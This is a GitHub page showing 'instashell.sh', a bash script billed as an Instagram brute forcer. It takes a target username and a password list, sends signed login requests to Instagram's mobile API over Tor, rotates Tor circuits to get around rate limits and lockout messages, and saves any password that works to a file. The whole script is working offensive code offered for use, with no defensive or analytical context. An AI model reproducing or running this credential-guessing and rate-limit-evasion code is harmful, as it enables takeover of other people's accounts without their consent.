-
Notifications
You must be signed in to change notification settings - Fork 2
/
instashell.sh
105 lines (79 loc) · 3.66 KB
/
instashell.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/bin/bash
# Coded by @thelinuxchoice (Instagram)
checkroot() {
if [[ "$(id -u)" -ne 0 ]]; then
printf "\e[1;77mPlease, run this program as root!\n\e[0m"
exit 1
fi
}
banner() {
printf "\e[1;92m _ _ _ _ \e[0m\n"
printf "\e[1;92m _ | | _ | | | || | \e[0m\n"
printf "\e[1;92m( \ | | ____ ___ _| |_ _____ ___ | |__ _____ | || | \e[0m\n"
printf "\e[1;92m ) )| || _ \ /___)(_ _)(____ | /___)| _ \ | ___ || || | \e[0m\n"
printf "\e[1;77m(_/ | || | | ||___ | | |_ / ___ ||___ || | | || ____|| || | _____ \e[0m\n"
printf "\e[1;77m |_||_| |_|(___/ \__)\_____|(___/ |_| |_||_____) \_)\_)(_____) \e[0m\n"
printf "\n"
printf "\e[1;77m\e[45m Instagram Brute Forcer. Author: @thelinuxchoice\e[0m\n"
printf "\n"
}
banner
checkroot
read -p $'\e[1;92mUsername account: \e[0m' user
read -p $'\e[1;92mPassword List: \e[0m' wl_pass
checktor() {
check=$(curl --socks5 localhost:9050 -s https://check.torproject.org > /dev/null; echo $?)
if [[ "$check" -gt 0 ]]; then
printf "\e[1;91mPlease, start TOR!\n\e[0m"
exit 1
fi
}
function changeip() {
killall -HUP tor
sleep 3
}
string8=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 8 | head -n 1)
string4=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 4 | head -n 1)
string12=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 12 | head -n 1)
string16=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 16 | head -n 1)
device="android-$string16"
uuid=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 32 | head -n 1)
phone="$string8-$string4-$string4-$string4-$string12"
guid="$string8-$string4-$string4-$string4-$string12"
var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3)
#echo $var2
function bruteforcer() {
checktor
for pass in $(cat $wl_pass); do
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
data='{"phone_id":"$phone", "_csrftoken":"$var2", "username":"'$user'", "guid":"$guid", "device_id":"$device", "password":"'$pass'", "login_attempt_count":"0"}'
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
printf "\e[1;77mTrying pass\e[0m: %s\n" $pass
check=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o '200\|challenge\|many tries\|Please wait' | uniq)
#echo $check
if [[ "$check" == "200" ]]; then
printf "\e[1;92m [*] Password Found: %s \n\e[0m" $pass
printf "Username: %s, Password: %s\n" $user $pass >> found.instashell
printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"
exit 1
fi
if [[ "$check" == "challenge" ]]; then
printf "\e[1;92m [*] Password Found: %s\n" $pass
printf "\e[1;92m [*] Challenge required\n"
printf "Username: %s, Password: %s\n" $user $pass >> found.instashell
printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"
exit 1
fi
if [[ "$check" == "many tries" ]]; then
printf "\e[1;31m [*] Changing IP Address...\n\e[0m"
changeip
fi
if [[ "$check" == "Please wait" ]]; then
printf "\e[1;31m [*] Changing IP Address...\n\e[0m"
changeip
fi
done
}
bruteforcer